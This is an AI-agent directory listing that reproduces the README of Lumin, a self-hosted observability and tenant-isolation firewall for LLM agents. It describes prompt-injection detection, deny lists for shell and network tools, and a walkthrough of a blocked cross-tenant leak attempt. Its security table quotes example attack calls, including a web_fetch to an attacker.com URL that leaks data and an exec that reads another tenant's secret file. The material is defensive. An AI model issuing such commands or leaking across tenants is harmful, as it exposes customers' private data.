activepieces
AI Agents & MCPs & AI Workflow Automation • (~400 MCP servers for AI agents) • AI Automation / AI Agent with MCPs • AI Workflows & AI Agents • MCPs for AI Agents
Crawler Summary
Local-first AI agent observability + tenant-isolation firewall. Drop in 2 lines to trace LangChain/CrewAI/OpenClaw bots. Per-user file sandbox + L3 PII redaction stops cross-session leaks. Self-hosted Docker, DuckDB. <p align="center"> <img src="assets/lumin-banner.svg" alt="Lumin — local-first observability + security for LLM agents" width="100%" /> </p> <div align="center"> <h3> <a href="#-quickstart"> <strong>Quickstart</strong> </a> · <a href="#%EF%B8%8F-four-pillars--observe-govern-defend-operate"> <strong>Four Pillars</strong> </a> · <a href="#-integrations"> <strong>Integrations</strong> </a> · <a href="#%EF%B8%8F-owasp-ll Capability contract not published. No trust telemetry is available yet. 1 GitHub stars reported by the source. Last updated 5/11/2026.
Freshness
Last checked 5/11/2026
Best For
zistica-lumin is best for crewai, multi-agent workflows where OpenClaw compatibility matters.
Not Ideal For
Contract metadata is missing or unavailable for deterministic execution.
Evidence Sources Checked
editorial-content, GITHUB REPOS, runtime-metrics, public facts pack
Local-first AI agent observability + tenant-isolation firewall. Drop in 2 lines to trace LangChain/CrewAI/OpenClaw bots. Per-user file sandbox + L3 PII redaction stops cross-session leaks. Self-hosted Docker, DuckDB. <p align="center"> <img src="assets/lumin-banner.svg" alt="Lumin — local-first observability + security for LLM agents" width="100%" /> </p> <div align="center"> <h3> <a href="#-quickstart"> <strong>Quickstart</strong> </a> · <a href="#%EF%B8%8F-four-pillars--observe-govern-defend-operate"> <strong>Four Pillars</strong> </a> · <a href="#-integrations"> <strong>Integrations</strong> </a> · <a href="#%EF%B8%8F-owasp-ll
Public facts
5
Change events
1
Artifacts
0
Freshness
May 11, 2026
Capability contract not published. No trust telemetry is available yet. 1 GitHub stars reported by the source. Last updated 5/11/2026.
Trust score
Unknown
Compatibility
OpenClaw
Freshness
May 11, 2026
Vendor
Amitbidlan
Artifacts
0
Benchmarks
0
Last release
Unpublished
Key links, install path, and a quick operational read before the deeper crawl record.
Summary
Capability contract not published. No trust telemetry is available yet. 1 GitHub stars reported by the source. Last updated 5/11/2026.
Setup snapshot
Setup complexity is LOW. This package is likely designed for quick installation with minimal external side-effects.
Final validation: Expose the agent to a mock request payload inside a sandbox and trace the network egress before allowing access to real customer data.
Everything public we have scraped or crawled about this agent, grouped by evidence type with provenance.
Vendor
Amitbidlan
Protocol compatibility
OpenClaw
Adoption signal
1 GitHub stars
Handshake status
UNKNOWN
Crawlable docs
6 indexed pages on the official domain
Merged public release, docs, artifact, benchmark, pricing, and trust refresh events.
Extracted files, examples, snippets, parameters, dependencies, permissions, and artifact metadata.
Extracted files
0
Examples
6
Snippets
0
Languages
python
bash
git clone https://github.com/amitbidlan/zistica-lumin cd zistica-lumin docker compose up -d --wait
bash
docker run -d \ --name lumin \ -p 127.0.0.1:3000:3000 \ -p 127.0.0.1:8000:8000 \ -v lumin-data:/data \ zistica/lumin:latest
bash
docker compose build --build-arg LUMIN_PRESIDIO_MODEL=en_core_web_md
bash
git clone https://github.com/amitbidlan/zistica-lumin cd zistica-lumin docker compose up -d --wait # Lumin API on :8000, dashboard on :3000
python
import lumin
lumin.configure(host="http://localhost:8000") # or set LUMIN_HOST
@lumin.trace
def my_agent(question: str) -> str:
docs = search_documents(question)
return gpt4_answer(question, docs)
my_agent("What is the capital of France?")
# Trace appears in the dashboard within ~50ms.typescript
import { configure, trace } from '@lumin-io/sdk';
configure({ host: 'http://localhost:8000' });
const myAgent = trace(async (input: string) => {
return 'hello';
}, { name: 'my_agent' });
await myAgent('test');Full documentation captured from public sources, including the complete README when available.
Docs source
GITHUB REPOS
Editorial quality
ready
Local-first AI agent observability + tenant-isolation firewall. Drop in 2 lines to trace LangChain/CrewAI/OpenClaw bots. Per-user file sandbox + L3 PII redaction stops cross-session leaks. Self-hosted Docker, DuckDB. <p align="center"> <img src="assets/lumin-banner.svg" alt="Lumin — local-first observability + security for LLM agents" width="100%" /> </p> <div align="center"> <h3> <a href="#-quickstart"> <strong>Quickstart</strong> </a> · <a href="#%EF%B8%8F-four-pillars--observe-govern-defend-operate"> <strong>Four Pillars</strong> </a> · <a href="#-integrations"> <strong>Integrations</strong> </a> · <a href="#%EF%B8%8F-owasp-ll
Most LLM tooling picks one corner of the agent operations problem. Lumin covers all four — in one self-hosted Docker container, across every major framework.
before_proxy_call / after_proxy_call lifecycle, priority, severity, conditions like prompt_guard_score(...), has_image_markdown_exfil(...), vault_match(...), cost_in_window(...)).shadow mode on first boot; promote rules one at a time.shadow (records what it would have done). Promote to enforce after reviewing the dashboard timeline./v1/admin/metrics, liveness + readiness endpoints.This is the Defend pillar in depth — one of Lumin's four pillars. The Observe, Govern, and Operate pillars cover everything around it (tracing every span, authoring + rolling back policies, audit + alerts).
Most other LLM tools cover only one corner: observability stacks (Langfuse, LangSmith, Helicone, Arize) record what your agent did after it did it; guardrail classifiers (Lakera, NemoGuardrails) score single prompts in isolation. Lumin does both, plus the policy lifecycle around them.
Every span ingested is recorded and scored against runtime OWASP LLM Top 10 protections:
| OWASP risk | Lumin protection |
|---|---|
| LLM01 — Prompt Injection | Pattern + LLM-judge detection on every input. Blocks or flags before the prompt reaches the model. |
| LLM02 / LLM06 — Sensitive Info Disclosure | Microsoft Presidio NER scrubs PII, names, orgs, IDs, emails, phones, SSNs, credit cards, passports from prompts and history (configurable confidence threshold). |
| LLM03 — Supply-Chain | Every tool call audited with a tamper-evident trail. Tool allowlist + plugin manifest signing. |
| LLM05 — Insecure Output Handling | Output-filter chain (regex + structural) before responses leave the agent. Blocks PII echo-back and exfiltration patterns. |
| LLM08 — Excessive Agency | Deny-by-default for shells (exec, bash, python, ruby, …) and network egress (web_fetch, curl, http_*). Per-user file sandbox. |
| LLM09 — Overreliance | Policy engine with declarative rules + human approval queue. Anything outside the rules pauses until a human signs off. |
| LLM10 — Model Theft / Cross-tenant Exfiltration | Tenant-isolation firewall: conversation-history reset on sender switch, structural blocking of cross-session leaks in multi-tenant bots. |
LLM08 + LLM10 together cover a problem most guardrail classifiers miss: in a multi-tenant Slack / Telegram / Discord / SaaS bot, one customer's data leaking into another customer's chat. Lumin's tenant firewall stacks five structural layers:
| Layer | What it does |
|---|---|
| L1 storage sandbox | Every fs tool call (read, write, edit, grep, cat, head, tail, …) gets its path parameter rewritten to ${workspace}/_lumin/by-sender/<sender>/. The bot literally has no path to another tenant's data. |
| L1.5 deny shell + egress | Tools that bypass file paths — exec, shell, bash, python, web_fetch, http_get, curl — refused by default. An attacker can't exec("cat ../alice/secret") or web_fetch("https://attacker.com?leak=..."). |
| L2 conversation history reset | When the active sender changes for a shared agent, the LLM's message history is wiped before it sees the next turn. Foreign-tenant text never enters context. |
| L3 input redaction | Every prompt + history scanned by Presidio NER + structural ID regexes + foreign-vault excerpts before the LLM call. Replaced with [REDACTED]. |
| L4 audit trail | Every block, redaction, and sandbox rewrite recorded in policy_violations. Webhooks fire to PagerDuty / Slack / SIEM. |
Verified live: a real Telegram → Slack leak attempt with the standard profile blocked all 5+ bypass routes (3 exec calls denied, 2 read calls sandboxed to empty per-sender dir, 97 prior-tenant messages cleared from history, foreign-vault entries redacted from the prompt). The bot's reply contained zero foreign-tenant data. See the demo video above.
| | Lumin | Langfuse | Lakera | NemoGuard | |---|---|---|---|---| | Full-trace observability | ✅ | ✅ | ❌ | ❌ | | Cost + token attribution | ✅ | ✅ | ❌ | ❌ | | Evals + scoring | ✅ | ✅ | ❌ | ❌ | | Prompt-injection detection (LLM01) | ✅ | ❌ | ✅ | ✅ | | PII redaction in prompt (LLM02/LLM06) | ✅ Presidio | ❌ | ✅ classifier | ✅ classifier | | Excessive-agency guard (LLM08) | ✅ deny exec/fetch | ❌ | ❌ | ❌ | | Per-user file sandbox (LLM10) | ✅ structural | ❌ | ❌ | ❌ | | Conversation history isolation (LLM10) | ✅ structural | ❌ | ❌ | ❌ | | Policy engine + approval queue | ✅ | ❌ | ❌ | ⚠️ partial | | Self-hosted single Docker | ✅ | ⚠️ ClickHouse + Postgres + Redis + S3 | ❌ SaaS | ❌ NIM endpoint | | Open source | ✅ Apache-2.0 | ✅ MIT | ❌ | ✅ Apache-2.0 |
Lumin and Langfuse can coexist — Lumin adds the security layer on top of any observability stack. For teams who want a single container instead of a stack, Lumin alone covers both jobs.
Single command, single container, both API and dashboard:
git clone https://github.com/amitbidlan/zistica-lumin
cd zistica-lumin
docker compose up -d --wait
Then open http://localhost:3000. To stop: docker compose down. To wipe state: docker compose down -v.
docker rundocker run -d \
--name lumin \
-p 127.0.0.1:3000:3000 \
-p 127.0.0.1:8000:8000 \
-v lumin-data:/data \
zistica/lumin:latest
⚠️ Public VPS deployment: the dashboard at :3000 has no authentication today. Bind ports to 127.0.0.1 (as shown) and reach the dashboard via SSH tunnel: ssh -L 3000:localhost:3000 user@vps. Auth lands in Slice 5B.
Default image ships en_core_web_lg (Presidio NER, ~750MB). Swap to _md (40MB) at build time:
docker compose build --build-arg LUMIN_PRESIDIO_MODEL=en_core_web_md
| Integration | Type | Description |
| --- | --- | --- |
| Python SDK | pip install -e . | @lumin.trace decorator, lumin.span() context manager, sessions, policy engine, framework integrations |
| TypeScript SDK | @lumin-io/sdk | Wire-format peer of the Python SDK; identical behavior |
| LangChain | Python, callback handler | Zero-config via LUMIN_TRACING=true — every chain auto-traced |
| LangGraph | Python | Graph nodes/edges traced; firewall hooks on every node call |
| LlamaIndex | Python, callback manager | RAG retrievers, embeddings, query engines, agents |
| CrewAI | Python | Multi-agent crews — kickoff → agent → tasks tree |
| AutoGen | Python | Multi-agent conversations + firewall enforcement per message |
| LiteLLM | Python | 100+ providers via LiteLLM router; firewall on every call |
| OpenAI Agents | Python | OpenAI's agents SDK — guard handoffs, tool calls, sub-agents |
| Pydantic AI | Python | Typed agent framework; firewall on tool calls + structured outputs |
| Anthropic | Python + TypeScript | Extended-thinking blocks captured as first-class child spans |
| OpenAI compat | HTTP proxy | Point any OpenAI / Ollama / Anthropic-compat client at :8000/v1/openai — auto-instruments without code changes |
| Mastra | @lumin-io/mastra | TypeScript agent framework — drop-in replacement for @mastra/langfuse |
| VoltAgent | @lumin-io/voltagent | OTel-native exporter |
| OpenClaw — OTel | @lumin-io/openclaw | OTLP receiver, zero-code, no-content (provider/model/tokens/cost only) |
| OpenClaw — full content | @lumin-io/openclaw-diagnostics | Typed-hook plugin: prompts, replies, thinking, + the full firewall |
| OTel / OTLP | endpoint | POST /v1/otlp/v1/traces — receives from any OTel-instrumented agent |
Compatible with anything that speaks OpenTelemetry (Logfire, Phoenix, Datadog GenAI, OpenLLMetry, …). If your framework isn't here, the OTLP receiver covers it.
git clone https://github.com/amitbidlan/zistica-lumin
cd zistica-lumin
docker compose up -d --wait
# Lumin API on :8000, dashboard on :3000
Python:
import lumin
lumin.configure(host="http://localhost:8000") # or set LUMIN_HOST
@lumin.trace
def my_agent(question: str) -> str:
docs = search_documents(question)
return gpt4_answer(question, docs)
my_agent("What is the capital of France?")
# Trace appears in the dashboard within ~50ms.
TypeScript:
import { configure, trace } from '@lumin-io/sdk';
configure({ host: 'http://localhost:8000' });
const myAgent = trace(async (input: string) => {
return 'hello';
}, { name: 'my_agent' });
await myAgent('test');
LangChain (zero-config):
import os
os.environ["LUMIN_HOST"] = "http://localhost:8000"
os.environ["LUMIN_TRACING"] = "true"
from langchain_openai import ChatOpenAI
ChatOpenAI().invoke("Hello") # span recorded with model, tokens, cost
That's it. No account, no API key, and Lumin itself never sends your traces anywhere — they live in a DuckDB file on disk.
If your bot serves multiple users (Slack, Telegram, Discord, internal SaaS), turn on tenant isolation:
In ~/.openclaw/openclaw.json (or your agent framework's plugin config):
"plugins": {
"entries": {
"lumin-diagnostics": {
"enabled": true,
"config": {
"securityProfile": "standard"
}
}
}
}
That's the whole config. 90% of operators stop here.
Override individual toggles via the dashboard at http://localhost:3000/settings/firewall:
enableTenantIsolation — master switchblockShellTools — block exec, shell, bash, python, rubyblockWebTools — block web_fetch, http_get, curlresetMemoryBetweenUsers — between-users / between-channels / neverhideOtherUsersData — Presidio + structural redactionrecordSecurityEvents — audit-table volumeOr pick a profile that matches your deployment:
| Profile | Use case |
| --- | --- |
| strict | Healthcare, finance, legal, regulated multi-tenant SaaS |
| standard (default) | Multi-user support / sales triage bots |
| light | Single-team internal bots, dev environments |
| logging-only | Lumin as a Langfuse-style observer (no blocks) |
Each toggle is documented at length in ~/.openclaw/extensions/lumin-diagnostics/openclaw.plugin.json (the plugin manifest's configSchema carries inline descriptions). Dashboard UI also shows live help text per toggle.
Send a test message from sender A. Send a probing message from sender B. Watch the traces at /traces, the violations at /violations, the dashboard's effective-settings panel at /settings/firewall. Cross-session leak attempts show up as lumin_egress_deny:exec / lumin_sandbox_block:* rows. The bot's own reply contains zero foreign data.
A real walkthrough — Telegram user planted "Northstar Logistics, Priya Raman, $48k ARR" customer notes; Slack user asked for the same data. The bot's reply contained zero foreign-tenant content. Trace evidence: 3× lumin_egress_deny:exec, 2× sandbox rewrites to empty per-sender dirs, 97 prior-tenant messages cleared from history at sender-switch. See the demo video above for the live capture.
Agent code (Python or TypeScript)
│ @lumin.trace / trace(fn)
▼
SDK queue (bounded, drop-on-overflow)
│ background async exporter
▼
HTTP POST /v1/spans ───► FastAPI ──┐
│ │ broadcast
▼ ▼
DuckDB /ws/traces (WebSocket fanout)
SQLite │
▲ │ push: new_trace, new_span
│ │
GET /v1/* │ ▼
Browser ──► Next.js Dashboard ──◄────┘
localhost:3000
/api/* (HTTP rewrite proxy)
Single Docker container runs the API on :8000 and the Next.js standalone dashboard on :3000. Browser HTTP traffic goes through /api/* rewrites (same-origin → no CORS). WebSocket connects directly to :8000/ws/traces for real-time push.
| Path | Package | Tests |
|---|---|---|
| packages/sdk-python/ | Python SDK — @lumin.trace, lumin.span(), sessions, policy engine, framework integrations | 209 |
| packages/sdk-typescript/ | @lumin-io/sdk — TS peer of the Python SDK | 59 |
| packages/api/ | FastAPI ingest + query API, DuckDB storage, WebSocket fanout, server-side policy engine, firewall settings | 169 |
| packages/integrations/openclaw/ | @lumin-io/openclaw — OTel exporter | 59 |
| packages/integrations/openclaw-diagnostics/ | @lumin-io/openclaw-diagnostics — typed-hook plugin + full tenant-isolation firewall | 67 |
| packages/integrations/mastra/ | @lumin-io/mastra — observability config + exporter | 55 |
| packages/integrations/voltagent/ | @lumin-io/voltagent — OTel-native exporter | 62 |
| packages/dashboard/ | Next.js 14 dashboard | build + 21 Playwright E2E |
./setup.sh
One-shot installer: creates packages/api/.venv, installs the local Python SDK editable, installs API dependencies, runs npm ci across all 5 Node packages.
The API imports lumin from the sibling packages/sdk-python/, NOT from PyPI (where an unrelated package shares the name). Don't pip install lumin from PyPI inside this workspace.
pip install -e packages/sdk-python # core
pip install -e packages/sdk-python[langchain] # + LangChain
pip install -e packages/sdk-python[crewai] # + CrewAI
pip install -e packages/sdk-python[anthropic] # + Anthropic
pip install -e packages/sdk-python[llama_index] # + LlamaIndex
pip install -e packages/sdk-python[all] # all integrations
cd packages/sdk-typescript && npm install && npm run build
# In your project:
npm install /absolute/path/to/zistica-lumin/packages/sdk-typescript
Already covered in Deploy. One image, both API and dashboard.
with lumin.span("retrieval", type="retrieval") as s:
results = vector_db.search(query)
s.set_output({"count": len(results)})
from lumin.integrations.anthropic import instrument_anthropic
instrument_anthropic()
from anthropic import Anthropic
client = Anthropic()
client.messages.create(
model="claude-opus-4-20250514",
max_tokens=16000,
thinking={"type": "enabled", "budget_tokens": 10000},
messages=[{"role": "user", "content": "..."}],
)
# Dashboard renders thinking rows with a brain emoji + per-trace
# thinking-vs-response cost breakdown.
from lumin.integrations.crewai import instrument_crew
instrument_crew()
from crewai import Agent, Task, Crew
crew = Crew(agents=[...], tasks=[...])
crew.kickoff()
# crew.kickoff -> root span
# each agent.execute_task -> child span
# LLM calls inside agents -> grandchildren (via the LangChain integration)
import { Mastra } from '@mastra/core';
import { luminConfig } from '@lumin-io/mastra';
export const mastra = new Mastra({
agents: { myAgent },
observability: luminConfig({ serviceName: 'my-mastra-app' }),
});
Point any OpenAI-compatible client at :8000/v1/openai. Lumin captures every request, response, tokens, and cost — without touching agent code:
from openai import OpenAI
client = OpenAI(
base_url="http://localhost:8000/v1/openai", # ← Lumin proxy
api_key="your-real-openai-key",
)
client.chat.completions.create(...) # auto-traced
Streaming and non-streaming both work. Pass W3C traceparent header for span stitching.
CONTRIBUTING.mdYou can use Lumin free for any purpose — commercial, internal, hosted as a service for your customers — as long as you preserve the license notice. Patent grant included.
Machine endpoints, protocol fit, contract coverage, invocation examples, and guardrails for agent-to-agent use.
Contract coverage
Status
missing
Auth
None
Streaming
No
Data region
Unspecified
Protocol support
Requires: none
Forbidden: none
Guardrails
Operational confidence: low
curl -s "https://www.xpersona.co/api/v1/agents/crewai-amitbidlan-zistica-lumin/snapshot"
curl -s "https://www.xpersona.co/api/v1/agents/crewai-amitbidlan-zistica-lumin/contract"
curl -s "https://www.xpersona.co/api/v1/agents/crewai-amitbidlan-zistica-lumin/trust"
Trust and runtime signals, benchmark suites, failure patterns, and practical risk constraints.
Trust signals
Handshake
UNKNOWN
Confidence
unknown
Attempts 30d
unknown
Fallback rate
unknown
Runtime metrics
Observed P50
unknown
Observed P95
unknown
Rate limit
unknown
Estimated cost
unknown
Do not use if
Every public screenshot, visual asset, demo link, and owner-provided destination tied to this agent.
Neighboring agents from the same protocol and source ecosystem for comparison and shortlist building.
AI Agents & MCPs & AI Workflow Automation • (~400 MCP servers for AI agents) • AI Automation / AI Agent with MCPs • AI Workflows & AI Agents • MCPs for AI Agents
AI productivity studio with smart chat, autonomous agents, and 300+ assistants.
Free, local, open-source 24/7 Cowork app and OpenClaw for Gemini CLI, Claude Code, Codex, OpenCode, Qwen Code, Goose CLI, Auggie, and more | 🌟 Star if you like it!
The Frontend for Agents & Generative UI. React + Angular
Contract JSON
{
"contractStatus": "missing",
"authModes": [],
"requires": [],
"forbidden": [],
"supportsMcp": false,
"supportsA2a": false,
"supportsStreaming": false,
"inputSchemaRef": null,
"outputSchemaRef": null,
"dataRegion": null,
"contractUpdatedAt": null,
"sourceUpdatedAt": null,
"freshnessSeconds": null
}Invocation Guide
{
"preferredApi": {
"snapshotUrl": "https://www.xpersona.co/api/v1/agents/crewai-amitbidlan-zistica-lumin/snapshot",
"contractUrl": "https://www.xpersona.co/api/v1/agents/crewai-amitbidlan-zistica-lumin/contract",
"trustUrl": "https://www.xpersona.co/api/v1/agents/crewai-amitbidlan-zistica-lumin/trust"
},
"curlExamples": [
"curl -s \"https://www.xpersona.co/api/v1/agents/crewai-amitbidlan-zistica-lumin/snapshot\"",
"curl -s \"https://www.xpersona.co/api/v1/agents/crewai-amitbidlan-zistica-lumin/contract\"",
"curl -s \"https://www.xpersona.co/api/v1/agents/crewai-amitbidlan-zistica-lumin/trust\""
],
"jsonRequestTemplate": {
"query": "summarize this repo",
"constraints": {
"maxLatencyMs": 2000,
"protocolPreference": [
"OPENCLEW"
]
}
},
"jsonResponseTemplate": {
"ok": true,
"result": {
"summary": "...",
"confidence": 0.9
},
"meta": {
"source": "GITHUB_REPOS",
"generatedAt": "2026-10-09T03:30:17.975Z"
}
},
"retryPolicy": {
"maxAttempts": 3,
"backoffMs": [
500,
1500,
3500
],
"retryableConditions": [
"HTTP_429",
"HTTP_503",
"NETWORK_TIMEOUT"
]
}
}Trust JSON
{
"status": "unavailable",
"handshakeStatus": "UNKNOWN",
"verificationFreshnessHours": null,
"reputationScore": null,
"p95LatencyMs": null,
"successRate30d": null,
"fallbackRate": null,
"attempts30d": null,
"trustUpdatedAt": null,
"trustConfidence": "unknown",
"sourceUpdatedAt": null,
"freshnessSeconds": null
}Capability Matrix
{
"rows": [
{
"key": "OPENCLEW",
"type": "protocol",
"support": "unknown",
"confidenceSource": "profile",
"notes": "Listed on profile"
},
{
"key": "crewai",
"type": "capability",
"support": "supported",
"confidenceSource": "profile",
"notes": "Declared in agent profile metadata"
},
{
"key": "multi-agent",
"type": "capability",
"support": "supported",
"confidenceSource": "profile",
"notes": "Declared in agent profile metadata"
}
],
"flattenedTokens": "protocol:OPENCLEW|unknown|profile capability:crewai|supported|profile capability:multi-agent|supported|profile"
}Facts JSON
[
{
"factKey": "vendor",
"label": "Vendor",
"value": "Amitbidlan",
"category": "vendor",
"href": "https://github.com/amitbidlan/zistica-lumin",
"sourceUrl": "https://github.com/amitbidlan/zistica-lumin",
"sourceType": "profile",
"confidence": "medium",
"observedAt": "2026-05-11T06:21:48.162Z",
"isPublic": true,
"metadata": {}
},
{
"factKey": "protocols",
"label": "Protocol compatibility",
"value": "OpenClaw",
"category": "compatibility",
"href": "https://www.xpersona.co/api/v1/agents/crewai-amitbidlan-zistica-lumin/contract",
"sourceUrl": "https://www.xpersona.co/api/v1/agents/crewai-amitbidlan-zistica-lumin/contract",
"sourceType": "contract",
"confidence": "medium",
"observedAt": "2026-05-11T06:21:48.162Z",
"isPublic": true,
"metadata": {}
},
{
"factKey": "traction",
"label": "Adoption signal",
"value": "1 GitHub stars",
"category": "adoption",
"href": "https://github.com/amitbidlan/zistica-lumin",
"sourceUrl": "https://github.com/amitbidlan/zistica-lumin",
"sourceType": "profile",
"confidence": "medium",
"observedAt": "2026-05-11T06:21:48.162Z",
"isPublic": true,
"metadata": {}
},
{
"factKey": "docs_crawl",
"label": "Crawlable docs",
"value": "6 indexed pages on the official domain",
"category": "integration",
"href": "https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fopenclaw%2Fskills%2Ftree%2Fmain%2Fskills%2Fasleep123%2Fcaldav-calendar",
"sourceUrl": "https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fopenclaw%2Fskills%2Ftree%2Fmain%2Fskills%2Fasleep123%2Fcaldav-calendar",
"sourceType": "search_document",
"confidence": "medium",
"observedAt": "2026-04-15T05:03:46.393Z",
"isPublic": true,
"metadata": {}
},
{
"factKey": "handshake_status",
"label": "Handshake status",
"value": "UNKNOWN",
"category": "security",
"href": "https://www.xpersona.co/api/v1/agents/crewai-amitbidlan-zistica-lumin/trust",
"sourceUrl": "https://www.xpersona.co/api/v1/agents/crewai-amitbidlan-zistica-lumin/trust",
"sourceType": "trust",
"confidence": "medium",
"observedAt": null,
"isPublic": true,
"metadata": {}
}
]Change Events JSON
[
{
"eventType": "docs_update",
"title": "Docs refreshed: Sign in to GitHub · GitHub",
"description": "Fresh crawlable documentation was indexed for the official domain.",
"href": "https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fopenclaw%2Fskills%2Ftree%2Fmain%2Fskills%2Fasleep123%2Fcaldav-calendar",
"sourceUrl": "https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2Fopenclaw%2Fskills%2Ftree%2Fmain%2Fskills%2Fasleep123%2Fcaldav-calendar",
"sourceType": "search_document",
"confidence": "medium",
"observedAt": "2026-04-15T05:03:46.393Z",
"isPublic": true,
"metadata": {}
}
]Sponsored
Ads related to zistica-lumin and adjacent AI workflows.